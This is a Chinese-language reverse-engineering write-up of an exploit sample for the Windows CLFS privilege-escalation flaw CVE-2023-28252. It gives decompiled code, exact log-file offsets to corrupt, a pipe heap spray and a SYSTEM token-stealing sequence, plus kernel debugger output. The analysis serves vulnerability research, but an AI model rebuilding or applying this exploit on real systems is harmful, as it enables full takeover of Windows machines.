CVE-2023-28252

基本信息

clfs中存在权限提升漏洞。

影响版本

环境搭建

  • windows 10 21h2 19044.2728
  • windbg
  • x64dbg

技术分析&调试

静态分析

样本加了Themida的壳,参考 https://github.com/VenTaz/Themidie对其进行绕过。

脱壳之后dump出原始样本进行分析,如下。核心逻辑在InitAndHeapSpray函数中:

int __cdecl main(int argc, const char **argv, const char **envp)
{
.....
  v3 = InitAndHeapSpray();
  if ( !sub_7FF662B24F98() )
    goto LABEL_20;
  if ( !v4 )
    sub_7FF662B28D3C();
  LOBYTE(v10) = 1;
  sub_7FF662B24CA4(v10, 0i64);
  return v3;
}

该函数首先清空工作目录,而后通过查询注册表获取系统版本,在通过NtQuerySystemInformation函数并传入SystemExtendedHandleInformation参数来获取System及自身token地址,其逻辑和CVE-2022-37969基本一样

sub_7FF662B265E4((int)NtCurrentTeb()->NtTib.FiberData + v0);
  system("del /f C:\\\\Users\\\\Public\\\\.contain* 2> nul 1> nul");// 删除文件
  system("del /f C:\\\\Users\\\\Public\\\\MyLog* 2> nul 1> nul");
  system("del /f C:\\\\Users\\\\Public\\\\p_* 2> nul 1> nul");
  *(_QWORD *)&dwProcessId = GetCurrentProcessId();
  if ( !(unsigned int)CheckOSVersion() )
    return 0i64;
  if ( (unsigned int)GetObjectKernelAddress() )
  {
    sub_7FF662B21010((__int64)"fail RW\\n");
    return 0i64;
  }

而后初始化并获取一系列内核函数地址,包括ClfsEarlierLsn、ClfsMgmtDeregisterManagedClient、SeSetAccessStateGenericMapping、RtlClearBit,获取方式和CVE-2022-37969基本一样。通过LoadLibraryEx在r3载入ntoskrnl.exe、clfs.sys获取到函数相对于基址的偏移,而后通过NtQuerySystemInformation并传入SystemModuleInformation获取到内核载入的所有模块的基址。通过比较模块的FullPathName来确定clfs.sys和ntoskrnl.exe在内核的基址,将内核基址和函数偏移相加即可获得函数在内核的地址

ClfsEarlierLsnKernelAddress = (__int64)GetKernelFuncAddr("ClfsEarlierLsn");
  if ( !ClfsEarlierLsnKernelAddress )
    return 0i64;
  ClfsMgmtDeregisterManagedClientAddress = (__int64)GetKernelFuncAddr("ClfsMgmtDeregisterManagedClient");
  if ( versionFlag )
  {
    ntoskrnl_KernelBase = FindKernelModulesBase("\\\\SystemRoot\\\\system32\\\\ntoskrnl.exe");
    Library = LoadLibraryExW(L"ntoskrnl.exe", 0i64, 1u);
    v4 = 0i64;
    v5 = (__int64)Library;
    if ( Library )
    {
      PoFxProcessorNotificationAddress = GetProcAddress(Library, "PoFxProcessorNotification");
      if ( !PoFxProcessorNotificationAddress )
        goto LABEL_18;
      sub_7FF662E7AF0D(v5);
      PoFxProcessorNotificationKernelAddress = (__int64)PoFxProcessorNotificationAddress
                                             + (_QWORD)ntoskrnl_KernelBase
                                             - v5;
    }
    else
    {
      PoFxProcessorNotificationKernelAddress = 0i64;
    }
    PoFxProcessorNotificationKernelAddress1 = PoFxProcessorNotificationKernelAddress;
    ntoskrnl_kernel_base = FindKernelModulesBase("\\\\SystemRoot\\\\system32\\\\ntoskrnl.exe");
    ntoskrnl_base = LoadLibraryExW(L"ntoskrnl.exe", 0i64, 1u);
    v10 = (__int64)ntoskrnl_base;
    if ( !ntoskrnl_base )
    {
      SeSetAccessStateGenericMappingAddressKernelAddr = 0i64;
      goto LABEL_21;
    }
    SeSetAccessStateGenericMappingAddress = GetProcAddress(ntoskrnl_base, "SeSetAccessStateGenericMapping");
    if ( SeSetAccessStateGenericMappingAddress )
    {
      sub_7FF662E7AF0D(v10);
      SeSetAccessStateGenericMappingAddressKernelAddr = (__int64)SeSetAccessStateGenericMappingAddress
                                                      + (_QWORD)ntoskrnl_kernel_base
                                                      - v10;

样本在0x5000000位置处申请大小0x100000的内存,很明显这块和CVE-2022-37969的申请内存一样,而后将ntdll.dll载入到进程中并获取NtQuerySystemInformation函数地址,通过CreateFile打开C:\Users\Public\p_%08d格式文件的句柄并验证句柄有效性,接着获取到NtFsControlFile函数地址

if ( !VirtualAlloc((LPVOID)0x5000000, 0x100000ui64, 0x3000u, 4u) )
    return 0i64;
  v24 = rand();
  memset(v96, 0, sizeof(v96));
  wsprintf((__int64)v96, (__int64)L"C:\\\\Users\\\\Public\\\\p_%08d", v24);
  Filew = CreateFilew((__int64)v96, 0xC0000000i64, 0i64, 0i64, 2, 256, 0i64);
  if ( Filew == -1 )
  {
    sub_7FF662E75E1F();
    return 1i64;
  }
  ntdll_hmodule = (HMODULE)LoadLibrary((__int64)L"ntdll");
  NtQuerySystemInformationAddress = (NTSTATUS (__stdcall *)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(ntdll_hmodule, "NtQuerySystemInformation");
  if ( NtQuerySystemInformationAddress )
  {
    for ( i = 20; ; i = v82 )
   ......
    }
    if ( !v31 )
    {
    ......
        while ( 1 )
        {
          object = (__int64)*(p_UniqueProcessId - 1);
          if ( v33 == *p_UniqueProcessId && p_UniqueProcessId[1] == (HANDLE)Filew )// 这里获取的是前面通过CreateFile返回的句柄object
            break;
          v27 = (unsigned int)(v27 + 1);
          p_UniqueProcessId += 5;
          if ( (int)v27 >= v30->NumberOfHandles )
            goto LABEL_46;
        }
        qword_7FF662B44710 = (__int64)*(p_UniqueProcessId - 1);// Object
        if ( object )
          goto LABEL_51;
      }
      else
      {
LABEL_46:
        qword_7FF662B44710 = 0i64;
      }
      return 1i64;
    }
  }
  qword_7FF662B44710 = 1i64;
LABEL_51:
  *(_OWORD *)hReadPipe = 0i64;
  Size = 0i64;
  LODWORD(v82) = 0;
  if ( versionFlag )
  {
    LODWORD(v36) = LoadModule("ntdll", (LPVOID)v27);
    NtFsControlFileAddress = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _QWORD, _DWORD, _QWORD, _DWORD))GetProcAddress(v36, "NtFsControlFile");

样本创建匿名管道并调用NtFsControlFile函数,通过传入0x11003C,使得之后我们可以再次调用NtFsControlFile并传入0x110038来获取到管道的属性,这点利用和CVE-2022-37969一样。在创建匿名管道后通过NtQuerySystemInformation函数获取到内核中的堆信息,并通过比较堆大小和tag获取到这个管道在内核中对应的堆内存。

if ( !CreatePipe(&hReadPipe[1], hReadPipe, 0i64, 0x10000u) )
    {
      sub_7FF662E77D93(0i64);
      __debugbreak();
    }
    Size = (size_t)malloc(0x2000ui64);
    v37 = (_WORD *)Size;
    memset((void *)(Size + 2), 65, 0xFFEui64);
    *v37 = 90;
    sub_7FF662B21B80(4096, "NpAt", 1, 0i64);
    memset(v95, 66, 0xFFui64);
    NtFsControlFileAddress(hReadPipe[0], 0i64, 0i64, 0i64, v92, 0x11003C, v37, 4056, v95, 256);
    sub_7FF662B21B80(4096, "NpAt", 0, (unsigned __int64 *)&qword_7FF662B440C8);

之后在0xFFFFFFFF地址处申请0x1000大小的内存,并将system token布局到该地址,这点和CVE-2022-37969一致。在CVE-2022-37969中该处用于写入token。

LODWORD(v82) = system_EPROCESS & 0xFFF;
    v38 = system_EPROCESS & 0xFFFFFFFFFFFFF000ui64;
    if ( !VirtualAlloc(                         // 在0xFFFFFFFF地址申请内存
            (LPVOID)0xFFFFFFFFi64,
            0x1000ui64,
            0x3000u,
            4u) )
      return 0i64;
    memset((void *)0x100000007i64, 0, 0xFF8ui64);
    MEMORY[0xFFFFFFFF] = v38;                   // 在0xFFFFFFFF写入system proc token
    MEMORY[0x100000007] = 0x414141414141005Ai64;

在之后就是漏洞利用的核心逻辑。创建一个日志文件Mylog并对以下的偏移进行了修改并对CRC进行了修复,这里将其称之为主blf文件。

修改日志文件之后打开日志文件并通过NtQuerySystemInformation查询到这个日志文件的base block的内核地址,而后调用AddLogContainer为该文件添加容器。

0x80c -> crc32 4字节
0x858 -> 0x369 4字节
0x1dd0 -> 0x15a0 4字节
0x1dd4 -> 0x1570 4字节
0x1de0 -> 0xC1FDF008 4字节
0x1de4 -> 0x30 4字节
0x1df8 -> 0x5000000 4字节

0x820c -> crc32 4字节
0x8258 -> 0x369 4字节
0x97D0 -> 0x15A0 4字节
0x97D4 -> 0x1570 4字节
0x97E0 -> 0xC1FDF008 4字节
0x97E4 -> 0x30 4字节
0x97F8 -> 0x5000000 4字节
__int64 CraftFile()
{
  ......
  wsprintf((__int64)pszLogFileName, (__int64)L"LOG:C:\\\\Users\\\\Public\\\\MyLog_%08d", (unsigned int)(v0 + 16385));
  wsprintf((__int64)&unk_7FF662B44110, (__int64)L"C:\\\\Users\\\\Public\\\\MyLog_%08d.blf", (unsigned int)(v0 + 16385));
  ::pszLogFileName = (LPCWSTR)malloc(0x500ui64);
  wsprintf((__int64)&pwszContainerPath, (__int64)L"C:\\\\Users\\\\Public\\\\.container_1%d", (unsigned int)(v0 + 1));
  sub_7FF662E7B416((__int64)&unk_7FF662B44110);
  sub_7FF662E7B416((__int64)&pwszContainerPath);
  LogFile = CreateLogFile(pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
  CloseHandle(LogFile);
  Buffer = 0x369;
  Filew = (void *)CreateFilew((__int64)&unk_7FF662B44110, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
  SetFilePointer(Filew, 0x858, 0i64, 1u);
  ......
  Buffer = 0x5000000;
  v7 = (void *)CreateFilew((__int64)&unk_7FF662B44110, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
  SetFilePointer(v7, 0x1DF8, 0i64, 1u);
  if ( !WriteFile(v7, &Buffer, 4u, NumberOfBytesWritten, 0i64) )
  {
    sub_7FF662E775CF(0i64, 0i64, L"Error\\n", 0i64);
    sub_7FF662E77D93(1i64);
    __debugbreak();
  }
  CloseHandle(v7);
  CrcPatchFile((__int64)&unk_7FF662B44110, 0x800i64, 0x7A00i64);
......
  }
  CloseHandle(v13);
  CrcPatchFile((__int64)&unk_7FF662B44110, 0x8200i64, 0x7A00i64);
  dword_7FF662B449B8 = 0;
  *(_QWORD *)NumberOfBytesWritten = 0i64;
  sub_7FF662B21B80(0x7A00, "Clfs", 1, 0i64);    // 查询堆内信息
  v14 = CreateLogFile(pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);// LOG:C:\\\\Users\\\\Public\\\\MyLog_%08d
  sub_7FF662B21B80(0x7A00, "Clfs", 0, (unsigned __int64 *)NumberOfBytesWritten);// NumberOfBytesWritten 指向了最后一个clfs池,也就是最后一个clfs 基本块的地址
  if ( !*(_QWORD *)NumberOfBytesWritten )
  {
    system("pause");
    sub_7FF662E77D93(1i64);
    __debugbreak();
  }
  MyLog__08d_base_block = *(_QWORD *)NumberOfBytesWritten;
  hLog = v14;
  wsprintf((__int64)::pszLogFileName, (__int64)L"%s", pszLogFileName);
  pcbContainer[0] = 512i64;
  return ((__int64 (__fastcall *)(HANDLE, ULONGLONG *, WCHAR *, _QWORD))AddLogContainer)(
           hLog,
           pcbContainer,
           &pwszContainerPath,
           0i64);
}

之后通过CreateLogFile创建10个日志文件,并修改以下偏移,这里将其称之为副blf文件。

读取0-0x400到缓冲区并将以下偏移的值修改
0x70 -> 0 4字节
0x06 -> 2 4字节

而后将这个缓冲区写入到偏移0x400处

0x06 -> 0x1 4字节
0x0c -> crc32 4字节
0x70 -> 0x2 4字节
0x84 -> 0x2 4字节
0x88 -> 0x4 4字节
0x8A -> 0x4 4字节
0x90 -> 0x1 4字节
0x94 -> 0x3 4字节
0x9C -> 0x2 4字节

0x406 -> 2 4字节
0x40c -> crc32
0x470 -> 0 4字节
0x484 -> 0x2 4字节
0x488 -> 0x13 4字节
0x48A -> 0x13 4字节

0x1B98 -> 0x65C8
0x80c -> crc32

0x820c -> crc32
0x9598 -> 0x65C8
void __fastcall fun_tigger(const WCHAR *a1, __int64 a2)
{
 ......
  DWORD NumberOfBytesWritten; // [rsp+44h] [rbp-14h] BYREF

  sub_7FF662E7B416(a2);
  LogFile = CreateLogFile(a1, 0xC0000000, 1u, 0i64, 4u, 0);// LOG:C:\\\\Users\\\\Public\\\\MyLog%d%08d
  if ( LogFile == (HANDLE)-1i64 )
  {
    sub_7FF662E77D93(1i64);
    __debugbreak();
  }
  CloseHandle(LogFile);
  v5 = malloc(0x400ui64);
 ......
  CrcPatchFile(a2, 0x800, 0x7A00u);
  v19 = (void *)CreateFilew(a2, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
  SetFilePointer(v19, 0x9598, 0i64, 1u);
  if ( !WriteFile(v19, &Buffer, 4u, &NumberOfBytesWritten, 0i64) )
  {
    sub_7FF662E775CF(0i64, 0i64, L"Error\\n", 0i64);
    sub_7FF662E77D93(1i64);
    __debugbreak();
  }
  CloseHandle(v19);
  CrcPatchFile(a2, 0x8200, 0x7A00u);
  free(v5);
}

使用匿名管道进行堆布局,通过调用func_pipespray并两次分别传入0x5000和0x4000来申请0x5000对和0x4000对匿名pipe,

HANDLE *__fastcall func_pipespray(int a1)
{
  bool v2; // of
  size_t v3; // rcx
  HANDLE *v4; // rbx
  __int64 v5; // rdi
  int v6; // esi

  v2 = (unsigned __int64)(unsigned int)a1 >> 28 != 0;
  v3 = (unsigned int)(16 * a1);
  if ( v2 )
    v3 = -1i64;
  v4 = (HANDLE *)malloc(v3);
  if ( !v4 )
  {
    sub_7FF662E77D93(1i64);
    __debugbreak();
  }
  LODWORD(v5) = 0;
  if ( a1 > 0 )
  {
    v6 = 0;
    do
    {
      if ( !(unsigned int)CreatePipe((__int64)&v4[v6], (__int64)&v4[v6 + 1], 0i64, 0x60i64) )
      {
        v5 = (int)v5;
        if ( (int)v5 > 0 )
        {
          do
          {
            CloseHandle(*v4);
            CloseHandle(v4[1]);
            v4 += 2;
            --v5;
          }
          while ( v5 );
        }
        sub_7FF662E77D93(1i64);
        JUMPOUT(0x7FF662B227AEi64);
      }
      LODWORD(v5) = v5 + 1;
      v6 += 2;
    }
    while ( (int)v5 < a1 );
  }
  return v4;
}

首先遍历0x5000对pipe的pipe_array_a,并通过WriteFile写入长度为12的指针数组,其内容为第一个日志文件的base block。

Buffer[0] = MyLog__08d_base_block + 0x30;
  Buffer[1] = MyLog__08d_base_block + 0x30;
  Buffer[2] = MyLog__08d_base_block + 0x30;
  Buffer[3] = MyLog__08d_base_block + 0x30;
  Buffer[4] = MyLog__08d_base_block + 0x30;
  Buffer[5] = MyLog__08d_base_block + 0x30;
  Buffer[6] = MyLog__08d_base_block + 0x30;
  Buffer[7] = MyLog__08d_base_block + 0x30;
  Buffer[8] = MyLog__08d_base_block + 0x30;
  Buffer[9] = MyLog__08d_base_block + 0x30;
  Buffer[10] = MyLog__08d_base_block + 0x30;
  Buffer[11] = MyLog__08d_base_block + 0x30;

for ( j = 0i64; j < 0x5000; ++j )
  {
    if ( !WriteFile(*v46, Buffer, 0x60u, &NumberOfBytesWritten, 0i64) )
    {
      do
      {
        CloseHandle(*pipe_array_a);
        CloseHandle(pipe_array_a[1]);
        pipe_array_a += 2;
        --v42;
      }
      while ( v42 );
      sub_7FF662E77D93(1i64);
      JUMPOUT(0x7FF662B243B7i64);
    }
    v46 += 2;
  }

而后从第0x1000对开始,释放0x667对pipe,释放结束后创建日志文件对释放后的内存进行占位

for ( j = 0i64; j < 0x5000; ++j )
  {
    if ( !WriteFile(*v46, Buffer, 0x60u, &NumberOfBytesWritten, 0i64) )
    {
      do
      {
        CloseHandle(*pipe_array_a);
        CloseHandle(pipe_array_a[1]);
        pipe_array_a += 2;
        --v42;
      }
      while ( v42 );
      sub_7FF662E77D93(1i64);
      JUMPOUT(0x7FF662B243B7i64);
    }
    v46 += 2;
  }
  v48 = pipe_array_a + 0x2000;
  v49 = 0x667i64;
  do
  {
    CloseHandle(*v48);                          // 释放Pipe
    CloseHandle(v48[1]);
    v48 += 10;
    --v49;
  }
  while ( v49 );
  v50 = 0xAi64;
  v51 = hObject;
  v52 = 0xAi64;
  v53 = pszLogFileName;
  do
  {
    LogFile = CreateLogFile(v53, 0xC0000000, 1u, 0i64, 4u, 0);
    v53 += 256;
    *v51++ = LogFile;
    --v52;
  }
  while ( v52 );

占位结束后,对第二次申请的0x4000对pipe_array_b调用WriteFile写入指针数组,而后对0x5000030处内存进行布局,循环尝试触发漏洞,首先为创建的10个副blf文件添加log container,在每次添加容器之后,通过CreateLogFile打开主blf文件的句柄(第一个创建的日志文件。)而后尝试通过NtFsControlFileAddress函数读取token,在读取之后判断token有效性,有效则退出循环。

do
  {
    if ( !WriteFile(*v56, Buffer, 0x60u, &v87, 0i64) )
    {
      do
      {
        CloseHandle(*pipe_array_b);
        CloseHandle(pipe_array_b[1]);
        pipe_array_b += 2;
        --v43;
      }
      while ( v43 );
      sub_7FF662E77D93(1i64);
      __debugbreak();
    }
    ++v55;
    v56 += 2;
  }
  while ( v55 < 0x4000 );
  pcbContainer = 512i64;
  if ( versionFlag )
  {
    v57 = Size;
    v58 = hObject;
    v59 = 0;
    while ( 1 )
    {
      AddLogContainer(*v58, &pcbContainer, (LPWSTR)&v97[256 * (__int64)v59], 0i64);
      MEMORY[0x5000030] = qword_7FF662B44710;
      MEMORY[0x5000000] = 0x5001000i64;
      MEMORY[0x5001000] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001010] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001018] = ClfsEarlierLsnKernelAddress;
     ......
      MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001008] = PoFxProcessorNotificationKernelAddress1;
      MEMORY[0x5000040] = 83886080i64;
      MEMORY[0x5000068] = ClfsMgmtDeregisterManagedClientAddress;
      MEMORY[0x5000048] = 83887104i64;
      MEMORY[0x5000400] = 83890944i64;
      MEMORY[0x5000448] = ntap_address+ 24;
      MEMORY[0x5001328] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001308] = SeSetAccessStateGenericMappingAddressKernelAddr;
			CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
      v80 = 90;
      NtFsControlFileAddress(hReadPipe[0], 0i64, 0i64, 0i64, v91, 0x110038, &v80, 2, v57, 0x2000);
      v60 = (unsigned int)system_token_object + (__int64)token_offset;
      v61 = *(_QWORD *)(v60 + v57 + 8);
      if ( *(_QWORD *)(v60 + v57) >= 0x8181818181818181ui64 )
        break;
      ......
      if ( v59 >= 0xA )
        goto LABEL_76;
    }
    MEMORY[0xFFFFFFFF] = *(_QWORD *)(v60 + v57);
    MEMORY[0x100000007] = v61;
    MEMORY[0x5000448] = current_token - 8;
    CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
    MEMORY[0xFFFFFFFF] = 0x1470i64;
    MEMORY[0x100000007] = 0i64;
    MEMORY[0x5000448] = MyLog__08d_base_block + 912;
    CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);

从这段代码可以明显看到CVE-2022-37969利用的影子,包括布局0x5000000内存,疑似伪造CClfsContainer对象,利用ClfsEarlierLsn、SeSetAccessStateGenericMappingAddress进行任意地址读写,不同的是本次样本中增加了ClfsMgmtDeregisterManagedClient和PoFxProcessorNotification函数。同时和CVE-2022-37969一样的是两次触发了漏洞,分别读取system token和将system token写入到自身token,达成提权。

同时还注意到,样本集成了利用RtlClearBit进行提权的技术,由一个全局flag控制决定使用哪种方式,其while循环内逻辑和前一种利用方式一样。

else
  {
    v63 = 0;
    v64 = hObject;
    while ( 1 )
    {
      AddLogContainer(*v64, &pcbContainer, (LPWSTR)&v97[256 * (__int64)v63], 0i64);
      MEMORY[0x5000000] = 0x5001000i64;
      MEMORY[0x5000030] = qword_7FF662B44710;
      MEMORY[0x5001008] = ClfsEarlierLsnKernelAddress;
      ......
      MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001000] = ClfsMgmtDeregisterManagedClientAddress;
      MEMORY[0x5001028] = RtlClearBitKernelAddress;
      MEMORY[0x5000008] = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
      CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
      v65 = system_TOKEN;
      system_token_object = 0i64;
      v66 = *(void (__fastcall **)(__int64, size_t *, __int64, __int64, char *))(addr_array + 16);
      v67 = sub_7FF662E78B70();
      v66(v67, &system_token_object, v65, 8i64, v88);
      if ( system_token_object >= 0x8181818181818181ui64 )
        break;
    ......
      if ( v63 >= 0xA )
        goto LABEL_88;
    }
    v68 = current_token;
    Size = system_token_object;
    v69 = *(void (__fastcall **)(__int64, __int64, size_t *, __int64, char *))(addr_array + 16);// NtWriteVirtualMemory
    v70 = sub_7FF662E78B70();
    v69(v70, v68, &Size, 8i64, v89);
    v71 = MyLog__08d_base_block;
    v83 = 5232;
    v72 = *(void (__fastcall **)(__int64, __int64, int *, __int64, char *))(addr_array + 16);
    v73 = sub_7FF662E78B70();
    v72(v73, v71 + 920, &v83, 4i64, v90);
    LOBYTE(v80) = 1;
    v74 = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
    v75 = *(void (__fastcall **)(__int64, __int64, __int16 *, __int64, char *))(addr_array + 16);
    v76 = sub_7FF662E78B70();
    v75(v76, v74, &v80, 1i64, v91);
LABEL_88:
.....
    v77 = v98;

总结样本利用步骤

  1. 创建一个主blf日志文件,并修改特定偏移的值,而后调用AddLogContainer为其添加容器
  2. 调用CreateLogFIle创建十个用于堆布局的副BLF日志文件,并修改特定偏移的值。
  3. 分别生成0x5000和0x4000对pipe,首先对0x5000对pipe调用WriteFile写入主blf文件的base block地址+0x30,而后从0x1000对开始释放0x667对pipe,而后调用CreateLogFile,传入的文件名为第二步所用的副blf文件名。
  4. 为0x4000对pipe调用WriteFile写入内存,和第三步中写入的一样。
  5. 为前面十个副blf文件添加容器。
  6. 对主blf日志文件调用CreateLogFile,触发漏洞,一共触发两次,分别完成token的读写。

动态调试

使用x64dbg调试样本,并使用windbg附加内核调试。在x64dbg中可以看到,样本获取到了system token和自身token地址。

在windbg中可以看到已经成功获取到了自身token地址和system token地址

1: kd> !process 16e0 1
Searching for Process with Cid == 16e0
PROCESS ffffcf8bfa9dd180
    SessionId: 1  Cid: 16e0    Peb: 2b65a98000  ParentCid: 1cf4
FreezeCount 1
    DirBase: a9197000  ObjectTable: ffffa80486c39280  HandleCount: 171.
    Image: 06248628e1ede80fcc3c36b25.exe
    VadRoot ffffcf8bfaac8ab0 Vads 86 Clone 0 Private 2360. Modified 5134. Locked 0.
    DeviceMap ffffa80480c82af0
    Token                             ffffa80486595060
    ElapsedTime                       00:14:19.644
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         195352
    QuotaPoolUsage[NonPagedPool]      12024
    Working Set Sizes (now,min,max)  (5527, 50, 345) (22108KB, 200KB, 1380KB)
    PeakWorkingSetSize                5447
    VirtualSize                       4247 Mb
    PeakVirtualSize                   4247 Mb
    PageFaultCount                    12131
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      3956
    DebugPort                         ffffcf8bf58da970
    Job                               ffffcf8bf5fd5060

1: kd> dq FFFFCF8BFA9DD638
ffffcf8b`fa9dd638  ffffa804`86595064 00000000`00000000

1: kd> !process 4 1
Searching for Process with Cid == 4
PROCESS ffffcf8bf1695040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffa8047c03ddc0  HandleCount: 2771.
    Image: System
    VadRoot ffffcf8bf1dd2da0 Vads 6 Clone 0 Private 22. Modified 335861. Locked 0.
    DeviceMap ffffa8047c0351e0
    Token                             ffffa8047c04f6e0
    ElapsedTime                       2 Days 23:05:23.432
    UserTime                          00:00:00.000
    KernelTime                        00:07:35.203
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      272
    Working Set Sizes (now,min,max)  (24, 50, 450) (96KB, 200KB, 1800KB)
    PeakWorkingSetSize                218
    VirtualSize                       3 Mb
    PeakVirtualSize                   14 Mb
    PageFaultCount                    3280
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      49

1: kd> dq ffffcf8bf16954f8
ffffcf8b`f16954f8  ffffa804`7c04f6e3 00000000`00000000
ffffcf8b`f1695508  00000000`00000000 00000000`00000000
ffffcf8b`f1695518  00000000`00000000 00000000`00000000
ffffcf8b`f1695528  00000000`00000000 00000000`00000000
ffffcf8b`f1695538  00000000`00000016 00000000`00000000
ffffcf8b`f1695548  00000000`00000000 00000000`00000000
ffffcf8b`f1695558  00000000`00000000 00000000`00000000
ffffcf8b`f1695568  00000000`5333eb49 00000000`00000000

而后获取到了各个内核函数地址

1: kd> u FFFFF80634782B20
CLFS!ClfsEarlierLsn:
fffff806`34782b20 488b0511280000  mov     rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff806`34785338)]
fffff806`34782b27 4885c9          test    rcx,rcx
fffff806`34782b2a 7436            je      CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)
fffff806`34782b2c 488b09          mov     rcx,qword ptr [rcx]
fffff806`34782b2f 483b0d8a230000  cmp     rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff806`34784ec0)]
fffff806`34782b36 742a            je      CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)
fffff806`34782b38 483bc8          cmp     rcx,rax
fffff806`34782b3b 7425            je      CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)

在获取到主blf日志文件的base block后通过writefile写入匿名pipe

1: kd> db FFFFA80488303000
ffffa804`88303000  15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
ffffa804`88303010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffa804`88303020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
ffffa804`88303030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa804`88303040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa804`88303050  00 00 00 00 00 00 00 00-69 03 00 00 00 00 00 00  ........i.......
ffffa804`88303060  00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00  .........y......
ffffa804`88303070  05 00 00 00 00 00 00 00-80 11 28 07 7e 19 ee 11  ..........(.~...

由于不知道样本修改的文件中哪个部分起到了关键性作用,此时由果追溯原因,样本在伪造的CClfsContainer对象中布局了ClfsEarlierLsn函数地址,在CVE-2022-37969中已经知道该函数是触发漏洞的关键性函数,在ClfsEarlierLsn函数断点,继续运行,调试器断下,此时调用栈如下

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffa00a`59414fb8 fffff800`53141ba6     CLFS!ClfsEarlierLsn
01 ffffa00a`59414fc0 fffff800`531337e8     CLFS!ClfsMgmtDeregisterManagedClient+0x46
02 ffffa00a`59414ff0 fffff800`5310307f     CLFS!CClfsBaseFilePersisted::CheckSecureAccess+0x174
03 ffffa00a`594150b0 fffff800`53101bf9     CLFS!CClfsLogFcbPhysical::CheckSecureAccess+0x1f
04 ffffa00a`59415100 fffff800`531310c3     CLFS!CClfsLogFcbPhysical::Initialize+0x15d
05 ffffa00a`59415240 fffff800`53132b1b     CLFS!CClfsRequest::Create+0x4ef
06 ffffa00a`59415390 fffff800`531328e7     CLFS!CClfsRequest::Dispatch+0x97
07 ffffa00a`594153e0 fffff800`53132837     CLFS!ClfsDispatchIoRequest+0x87
08 ffffa00a`59415430 fffff800`55c954d5     CLFS!CClfsDriver::LogIoDispatch+0x27
09 ffffa00a`59415460 fffff800`55c96ad4     nt!IofCallDriver+0x55
0a ffffa00a`594154a0 fffff800`560a775d     nt!IoCallDriverWithTracing+0x34
0b ffffa00a`594154f0 fffff800`5608f68e     nt!IopParseDevice+0x117d
0c ffffa00a`59415660 fffff800`560ba3da     nt!ObpLookupObjectName+0x3fe
0d ffffa00a`59415830 fffff800`560c999f     nt!ObOpenObjectByNameEx+0x1fa
0e ffffa00a`59415960 fffff800`560c9579     nt!IopCreateFile+0x40f
0f ffffa00a`59415a00 fffff800`55e0d8f5     nt!NtCreateFile+0x79
10 ffffa00a`59415a90 00007ffd`9160db64     nt!KiSystemServiceCopyEnd+0x25
11 00000077`5eafb898 00007ffd`8c382199     ntdll!NtCreateFile+0x14
12 00000077`5eafb8a0 00007ff7`ecad416a     clfsw32!CreateLogFile+0x679
13 00000077`5eafba40 00007ff7`ecad461c     0624fbfa7618628e1ede80fcc3c36b25+0x416a
14 00000077`5eaffca0 00007ffd`900c7614     0624fbfa7618628e1ede80fcc3c36b25+0x461c
15 00000077`5eaffce0 00007ffd`915c26a1     KERNEL32!BaseThreadInitThunk+0x14
16 00000077`5eaffd10 00000000`00000000     ntdll!RtlUserThreadStart+0x21

样本中对应的伪代码如下,在调用CreateLogFile时触发了漏洞,调用ClfsEarlierLsn函数。

MEMORY[0x50011E0] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x50011E8] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x50011F0] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
      MEMORY[0x5001000] = ClfsMgmtDeregisterManagedClientAddress;
      MEMORY[0x5001028] = RtlClearBitKernelAddress;
      MEMORY[0x5000008] = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
      CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
      v65 = system_TOKEN;
      system_token_object = 0i64;
      v66 = *(void (__fastcall **)(__int64, size_t *, __int64, __int64, char *))(addr_array + 16);
      v67 = sub_7FF662E78B70();
      v66(v67, &system_token_object, v65, 8i64, v88);
      if ( system_token_object >= 0x8181818181818181ui64 )

根据调用栈,再除去布局的函数之外,最后调用的是CLFS!CClfsBaseFilePersisted::CheckSecureAccess+0x174

